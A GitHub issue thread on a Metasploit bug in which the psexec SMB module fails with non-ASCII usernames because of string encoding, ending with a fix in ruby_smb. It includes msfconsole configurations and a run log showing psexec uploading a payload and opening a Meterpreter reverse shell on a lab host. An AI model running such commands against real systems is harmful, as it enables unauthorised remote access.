Ascii-8bit to UTF-8 encoding in smb/psexec

[Mussu999]

Steps to reproduce

set smbuser järvalv
set smbpass whatever
set rhost 192.168.1.10
run

Current behavior

Im getting failure due the character "ä" in smbuser
Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::loginError Login Failed: "\xC3" from ASCII-8BIT to UTF-8

Version

4.17.23-dev on kali

I installed Metasploit with:

Came with Kali

What OS are you running Metasploit on?
Kali

Anyone have any idea how to fix this? Ive been trying for few days but cant seem to get it fixed. I guess i have to change encoding somewhere but where? And without breaking anything else..

[bwatters-r7]

Hrm..... I thought I fixed this a long time ago. Can you give a little more info. What OS/language are you using?

[Mussu999]

Hrm..... I thought I fixed this a long time ago. Can you give a little more info. What OS/language are you using?

lsb_release -a
Kali 2019.1

locale
LANG=en_US.UTF-8
LANGUAGE=
and all the rest are en_US.UTF-8

Basically everything is like default kali install except input source is finnish.

I also updated the metasploit to 5.0.5-dev and the same thing happens.

[Torxed]

Still an issue 2020.

Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::loginError Login Failed: "\xC3" from ASCII-8BIT to UTF-8

When logging in to a Swedish locale machine where the admin account is Administratör and the whole underlaying OS is in Swedish.

[github-actions]

Hi!

This issue has been left open with no activity for a while now.

We get a lot of issues, so we currently close issues after 60 days of inactivity. It’s been at least 30 days since the last update here.
If we missed this issue or if you want to keep it open, please reply here. You can also add the label "not stale" to keep this issue open!

As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.

[Torxed]

I mean, yea we still want this open heh.

[adfoster-r7]

@Torxed Thanks for keeping this issue alive! 👍

We've updated the issue template a bit since this ticket was raised, we've also released Metasploit 6 which made changes to SMB support. It'd be great to verify if this is still an issue, and if so - seeing a stacktrace could help us greatly.

If you're able to run through these steps with a new version of Metasploit and provide the result to us, that would be great!

https://github.com/rapid7/metasploit-framework/blob/025950ec0b8454da30b040f9a9798e1dd17d6705/.github/ISSUE_TEMPLATE/bug_report.md#additional-information

[Torxed]

@adfoster-r7 Awesome, I can give this a try next week. I think I still have a few boxes in a VM setup that runs non-us locale :)

[p01terge1st]

hi there!
metasploit v6.1.42-dev
same error:
[*] 192.168.1.104:445 - Authenticating to 192.168.1.104:445 as user 'Администратор'...
[-] 192.168.1.104:445 - Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed: "\xD0" from ASCII-8BIT to UTF-8

[bwatters-r7]

This is on me for forgetting about this issue...

[p01terge1st]

This is on me for forgetting about this issue...

looking forward to the fix in the next update!
Good luck!

[bwatters-r7]

OK..... I know what the problem is, and where the problem is, but I'm having some trouble fixing it. I would love it if you could run a couple commands to check things further and help me out.

First, I can recreate the issue:

msf6 exploit(windows/smb/psexec) > show options

Module options (exploit/windows/smb/psexec):

   Name                  Current Setting  Required  Description
   ----                  ---------------  --------  -----------
   RHOSTS                10.5.132.175     yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Usi
                                                    ng-Metasploit
   RPORT                 445              yes       The SMB service port (TCP)
   SERVICE_DESCRIPTION                    no        Service description to to be used on target for pretty listing
   SERVICE_DISPLAY_NAME                   no        The service display name
   SERVICE_NAME                           no        The service name
   SMBDomain             .                no        The Windows domain to use for authentication
   SMBPass               м3Ьзфыыцщкв      no        The password for the specified username
   SMBSHARE                               no        The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read
                                                    /write folder share
   SMBUser               Администратор    no        The username to authenticate as


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.5.135.101     yes       The listen address (an interface may be specified)
   LPORT     8585             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf6 exploit(windows/smb/psexec) > run

[*] Started reverse TCP handler on 10.5.135.101:8585 
[*] 10.5.132.175:445 - Connecting to the server...
[*] 10.5.132.175:445 - Authenticating to 10.5.132.175:445 as user 'Администратор'...
[-] 10.5.132.175:445 - Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed: "\xD0" from ASCII-8BIT to UTF-8
[*] Exploit completed, but no session was created.

The reason is because the username and password are UTF-8 values, but the string they're put in is encoded in ASCII/ANSI. We can hop into an irb session and verify:

msf6 exploit(windows/smb/psexec) > irb
[*] Starting IRB shell...
[*] You are in exploit/windows/smb/psexec

>> datastore['smbuser']
=> "\xD0\x90\xD0\xB4\xD0\xBC\xD0\xB8\xD0\xBD\xD0\xB8\xD1\x81\xD1\x82\xD1\x80\xD0\xB0\xD1\x82\xD0\xBE\xD1\x80"
>> datastore['smbuser'].encoding
=> #<Encoding:ASCII-8BIT>
>> 

When that gets sent over to ruby_smb, the method session_setup makes sure that the username and password are utf-8 encoded by calling string.encode('utf-8'). We can verify that method will fail by calling it here in our irb session. We get the same error message:

>> datastore['smbuser'].encode('UTF-8')
(irb):3:in `encode': "\xD0" from ASCII-8BIT to UTF-8 (Encoding::UndefinedConversionError)
	from (irb):3:in `<main>'
	from /home/tmoose/rapid7/metasploit-framework/lib/rex/ui/text/irb_shell.rb:53:in `block in run'
	from /home/tmoose/rapid7/metasploit-framework/lib/rex/ui/text/irb_shell.rb:52:in `catch'
	from /home/tmoose/rapid7/metasploit-framework/lib/rex/ui/text/irb_shell.rb:52:in `run'
	from /home/tmoose/rapid7/metasploit-framework/lib/msf/ui/console/command_dispatcher/developer.rb:125:in `block in cmd_irb'
	from /home/tmoose/rapid7/metasploit-framework/lib/rex/ui/text/shell/history_manager.rb:49:in `with_context'
	from /home/tmoose/rapid7/metasploit-framework/lib/msf/ui/console/command_dispatcher/developer.rb:121:in `cmd_irb'
	from /home/tmoose/rapid7/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:581:in `run_command'
	from /home/tmoose/rapid7/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:530:in `block in run_single'
	from /home/tmoose/rapid7/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:524:in `each'
	from /home/tmoose/rapid7/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:524:in `run_single'
	from /home/tmoose/rapid7/metasploit-framework/lib/rex/ui/text/shell.rb:162:in `run'
	from /home/tmoose/rapid7/metasploit-framework/lib/metasploit/framework/command/console.rb:48:in `start'
	from /home/tmoose/rapid7/metasploit-framework/lib/metasploit/framework/command/base.rb:82:in `start'
	from ./msfconsole:23:in `<main>'

The optimal way to manage this is to encode in the encoding of the window we're running msfconsole in, but a second solution would be to say that the window is almost assuredly going to be utf-8, so we can just force encode the string so that when ruby_smb gets it, the encoding will match the charset, so there will be no problem calling the encode method:

>> datastore['smbuser'].force_encoding('utf-8')
=> "\u0410\u0434\u043C\u0438\u043D\u0438\u0441\u0442\u0440\u0430\u0442\u043E\u0440"
>> datastore['smbpass'].force_encoding('utf-8')
=> "\u043C3\u042C\u0437\u0444\u044B\u044B\u0446\u0449\u043A\u0432"
>> datastore['smbuser'].encode('UTF-8')
=> "\u0410\u0434\u043C\u0438\u043D\u0438\u0441\u0442\u0440\u0430\u0442\u043E\u0440"
>> datastore['smbpass'].encode('UTF-8')
=> "\u043C3\u042C\u0437\u0444\u044B\u044B\u0446\u0449\u043A\u0432"

That does successfully avoid the exception, but then for me it fails with a bad username/password combination. I'm fairly sure it is correct, though I'm shuffling things around on a standard English keyboard, so there could be an issue there.

>> exit
msf6 exploit(windows/smb/psexec) > run

[*] Started reverse TCP handler on 10.5.135.101:8585 
[*] 10.5.132.175:445 - Connecting to the server...
[*] 10.5.132.175:445 - Authenticating to 10.5.132.175:445 as user 'Администратор'...
[-] 10.5.132.175:445 - Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed: (0xc000006d) STATUS_LOGON_FAILURE: The attempted logon is invalid. This is either due to a bad username or authentication information.
[*] Exploit completed, but no session was created.

Is there any chance one of you could try this again, but force the encoding before running the exploit?
It would be as simple as getting everything set up, then

msf6 exploit(windows/smb/psexec) > irb
[*] Starting IRB shell...
[*] You are in exploit/windows/smb/psexec
>> datastore['smbuser'].force_encoding('utf-8')
=> "<your username in hex>"
>> datastore['smbpass'].force_encoding('utf-8')
=> "<your password in hex>"
>> exit
msf6 exploit(windows/smb/psexec) > run

I'm also going to tag @cdelafuente-r7 on this because I'd be shocked if this is the only time we ship over utf-8 chars to ruby_smb hiding in a string marked with ASCII encoding. He also might have already dealt with this problem, too, as he's kind of aweSMBe.

[p01terge1st]

Step by step, as in your post:
it's for info:

┌──(r00t㉿esxi)-[~]
└─$ smbclient //192.168.1.110/C$ -U юзер
Password for [WORKGROUP\юзер]:
Try "help" to get a list of possible commands.
smb: \> ls
  AUTOEXEC.BAT                        A        0  Thu May 19 12:24:06 2022
  boot.ini                           HS      214  Thu May 19 12:22:40 2022
  Bootfont.bin                     AHSR     4952  Sat Jul 21 23:13:56 2001
  CONFIG.SYS                          A        0  Thu May 19 12:24:06 2022
  Documents and Settings              D        0  Tue May 24 09:47:26 2022

As you can see - all is good.

PSexec in msf:

msf6 exploit(windows/smb/psexec) > options 

Module options (exploit/windows/smb/psexec):

   Name                  Current Setting  Required  Description
   ----                  ---------------  --------  -----------
   RHOSTS                192.168.1.110    yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT                 445              yes       The SMB service port (TCP)
   SERVICE_DESCRIPTION                    no        Service description to to be used on target for pretty listing
   SERVICE_DISPLAY_NAME                   no        The service display name
   SERVICE_NAME                           no        The service name
   SMBDomain             .                no        The Windows domain to use for authentication
   SMBPass               123              no        The password for the specified username
   SMBSHARE                               no        The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
   SMBUser               юзер             no        The username to authenticate as


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.1.124    yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port




msf6 exploit(windows/smb/psexec) > irb
[*] Starting IRB shell...
[*] You are in exploit/windows/smb/psexec

>> datastore['smbuser'].force_encoding('utf-8')
=> "\u044E\u0437\u0435\u0440"
>> datastore['smbpass'].force_encoding('utf-8')
=> "123"
>> exit
msf6 exploit(windows/smb/psexec) > run

[*] Started reverse TCP handler on 192.168.1.124:4444 
[*] 192.168.1.110:445 - Connecting to the server...
[*] 192.168.1.110:445 - Authenticating to 192.168.1.110:445 as user 'юзер'...
[-] 192.168.1.110:445 - Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed: (0xc000006d) STATUS_LOGON_FAILURE: The attempted logon is invalid. This is either due to a bad username or authentication information.
[*] Exploit completed, but no session was created.

But i'm sure, that smbuser "юзер" with smbpass "123" is correct.
For example i exploit the second user on host, that's is smbuser "user" with smbpass "123":

msf6 exploit(windows/smb/psexec) > set smbuser user
smbuser => user
msf6 exploit(windows/smb/psexec) > run

[*] Started reverse TCP handler on 192.168.1.124:4444 
[*] 192.168.1.110:445 - Connecting to the server...
[*] 192.168.1.110:445 - Authenticating to 192.168.1.110:445 as user 'user'...
[*] 192.168.1.110:445 - Selecting native target
[*] 192.168.1.110:445 - Uploading payload... iHMFtQcb.exe
[*] 192.168.1.110:445 - Created \iHMFtQcb.exe...
[+] 192.168.1.110:445 - Service started successfully...
[*] 192.168.1.110:445 - Deleting \iHMFtQcb.exe...
[*] Sending stage (175174 bytes) to 192.168.1.110
[*] Meterpreter session 1 opened (192.168.1.124:4444 -> 192.168.1.110:1033) at 2022-05-24 10:06:18 +0300

If you need more tests, please say me

[cdelafuente-r7]

Hi @Mussu999, thanks for reporting this. I could reproduce the issue with a stand alone ruby_smb script:

❯ ruby examples/authenticate.rb 192.168.0.45 юзер 123456
SMB3 : (0xc000006d) STATUS_LOGON_FAILURE: The attempted logon is invalid. This is either due to a bad username or authentication information.
Netbios Name: WIN2016SQL
Netbios Domain: MYLAB
FQDN of the computer: win2016sql.mylab.local
FQDN of the domain: mylab.local
FQDN of the forest: mylab.local
Dialect: 0x0311
OS Version: 10.0.14393
SMB2 : (0xc000006d) STATUS_LOGON_FAILURE: The attempted logon is invalid. This is either due to a bad username or authentication information.
Netbios Name: WIN2016SQL
Netbios Domain: MYLAB
FQDN of the computer: win2016sql.mylab.local
FQDN of the domain: mylab.local
FQDN of the forest: mylab.local
Dialect: 0x0210
OS Version: 10.0.14393
SMB1 : (0xc000006d) STATUS_LOGON_FAILURE: The attempted logon is invalid. This is either due to a bad username or authentication information.
Native OS: Windows Server 2016 Standard 14393
Native LAN Manager: Windows Server 2016 Standard 6.3
Netbios Name: WIN2016SQL
Netbios Domain: MYLAB
FQDN of the computer: win2016sql.mylab.local
FQDN of the domain: mylab.local
FQDN of the forest: mylab.local
Dialect: NT LM 0.12
OS Version: 10.0.14393
SMB2 : (0xc000006d) STATUS_LOGON_FAILURE: The attempted logon is invalid. This is either due to a bad username or authentication information.
Netbios Name: WIN2016SQL
Netbios Domain: MYLAB
FQDN of the computer: win2016sql.mylab.local
FQDN of the domain: mylab.local
FQDN of the forest: mylab.local
Dialect: 0x0210
OS Version: 10.0.14393
SMB3 : (0xc000006d) STATUS_LOGON_FAILURE: The attempted logon is invalid. This is either due to a bad username or authentication information.
Netbios Name: WIN2016SQL
Netbios Domain: MYLAB
FQDN of the computer: win2016sql.mylab.local
FQDN of the domain: mylab.local
FQDN of the forest: mylab.local
Dialect: 0x0311
OS Version: 10.0.14393

while it works fine with a Windows client:

C:\Users\smbtest>net use \\192.168.0.45\IPC$ /user:юзер 123456
The command completed successfully.

I compared the PCAP's and the name seems to be encoded the same way in both cases (UTF-16LE). Maybe something is wrong in the NTLM challenge response generation.

[bwatters-r7]

@p01terge1st Thanks so much for verifying! @cdelafuente-r7, that's super odd. I was going to dig in and compare the hex values of the string as it got passed around to see if some hidden character got injected somewhere, but if the pcaps are looking the same, that's unlikely as far as the username. It is still possible we're leaving some hidden character that gets truncated somewhere, but I'd assume we did it for both username and password...

[p01terge1st]

Hi there! May be anyone solve the problem?

[jmartin-tech]

Looks like usernames are supposed to fit IA5String, per this LDAP rfc although I am not 100% sure this is the actual standard

The ruby-ntlm library ensures encoding fits utf16le for domain if :unicode is passed as an option here however the username need to pass an upcase call then encoding change is reached. Some validation of encoding might be needed before passing things to the ruby-ntlm tooling.

[bwatters-r7]

@cdelafuente-r7 were you looking into this? I want to say we chatted on it?

[cdelafuente-r7]

I was not, but I will look at it this week, no problem!

[cdelafuente-r7]

Alright, I think I found part of the issue and submitted a fix to the rubyntlm library. I believe this will fix the ruby_smb authentication issue I reported in this previous comment.

I now looking to the Metasploit side of this. I let you know.

[cdelafuente-r7]

I submitted a fix to ruby_smb here. Please, let me know if this solves this issue for you. You don't need the rubyntlm fix I submitted yesterday, it is included in this PR already.

[cdelafuente-r7]

The fix has been merged and ruby_smb version 3.2.1 gem has been released.